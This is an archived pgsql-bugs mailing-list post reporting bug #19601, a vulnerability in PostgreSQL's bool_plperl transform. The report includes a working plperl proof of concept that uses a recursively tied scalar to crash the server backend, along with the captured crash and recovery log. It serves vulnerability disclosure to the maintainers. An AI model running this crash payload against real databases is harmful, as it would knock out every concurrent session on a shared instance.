agora inbox for pgsql-bugs@postgresql.org  

help / color / mirror / Atom feed

From: PG Bug reporting form <noreply@postgresql.org>
To: pgsql-bugs@lists.postgresql.org
Cc: 1217816127@qq.com
Subject: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend
Date: Mon, 03 Aug 2026 06:54:06 +0000
Message-ID: <19601-92d59d2242c00966@postgresql.org> (raw)

The following bug has been logged on the website:

Bug reference:      19601
Logged by:          Yuelin Wang
Email address:      1217816127@qq.com
PostgreSQL version: 19beta2
Operating system:   Linux (Ubuntu 24.04, x86_64)
Description:        

### Summary

plperl_to_bool() in bool_plperl.c calls SvTRUE(in) directly on the SV
returned by a plperl function declared to TRANSFORM FOR TYPE bool, with no
recursion depth limit. A plperl function can return a tied scalar whose
FETCH handler ties and returns a brand new tied scalar every time it is
dereferenced, causing Perl's magic-get resolution inside SvTRUE to recurse
without bound and exhaust the C stack.

CWE: CWE-674. Severity: Medium.

### PoC

```sql
CREATE EXTENSION plperl;
CREATE EXTENSION bool_plperl;
CREATE FUNCTION perl_tie_recurse() RETURNS bool
TRANSFORM FOR TYPE bool
LANGUAGE plperl
AS $perl$
  package RecurTie;
  our $depth = 0;
  sub TIESCALAR { return bless {}, shift; }
  sub FETCH { $depth++; my $x; tie $x, 'RecurTie'; return $x; }
  package main;
  tie my $y, 'RecurTie';
  return $y;
$perl$;
SELECT perl_tie_recurse();
```

### Result

Real captured output from the independent verification run:

```
psql:/tmp/poc.sql:13: server closed the connection unexpectedly
        This probably means the server terminated abnormally
        before or while processing the request.
psql:/tmp/poc.sql:13: error: connection to server was lost
PSQL EXIT: 2

Server log:
LOG:  client backend (PID 382422) was terminated by signal 11: Segmentation
fault
DETAIL:  Failed process was running: SELECT perl_tie_recurse();
LOG:  terminating any other active server processes
LOG:  all server processes terminated; reinitializing
LOG:  database system was interrupted; last known up at 2026-08-01 17:22:47
+08
LOG:  database system was not properly shut down; automatic recovery in
progress
LOG:  redo starts at 0/01790190
LOG:  redo done at 0/017AEA10
LOG:  checkpoint starting: end-of-recovery fast wait
LOG:  checkpoint complete: end-of-recovery fast wait
LOG:  database system is ready to accept connections
```

### Impact

Any database role with CREATE privilege and USAGE on the trusted plperl
language can define a bool_plperl transform function that crashes the
serving backend with SIGSEGV, forcing the postmaster to terminate and
restart every other concurrent backend on the instance and perform crash
recovery.

view thread (4+ messages)  latest in thread

Message-ID: <19601-92d59d2242c00966@postgresql.org>
Permalink:  ../19601-92d59d2242c00966@postgresql.org/
Also on:    postgresql.org/message-id/19601-92d59d2242c00966@postgresql.org

reply

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Reply to all the recipients using the --to and --cc options:
  reply via email

  To: pgsql-bugs@postgresql.org
  Cc: noreply@postgresql.org, pgsql-bugs@lists.postgresql.org, 1217816127@qq.com
  Subject: Re: BUG #19601: Vuln45: Unbounded recursion via self-retying Perl scalar in bool_plperl's SvTRUE call causes backend
  In-Reply-To: <19601-92d59d2242c00966@postgresql.org>

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox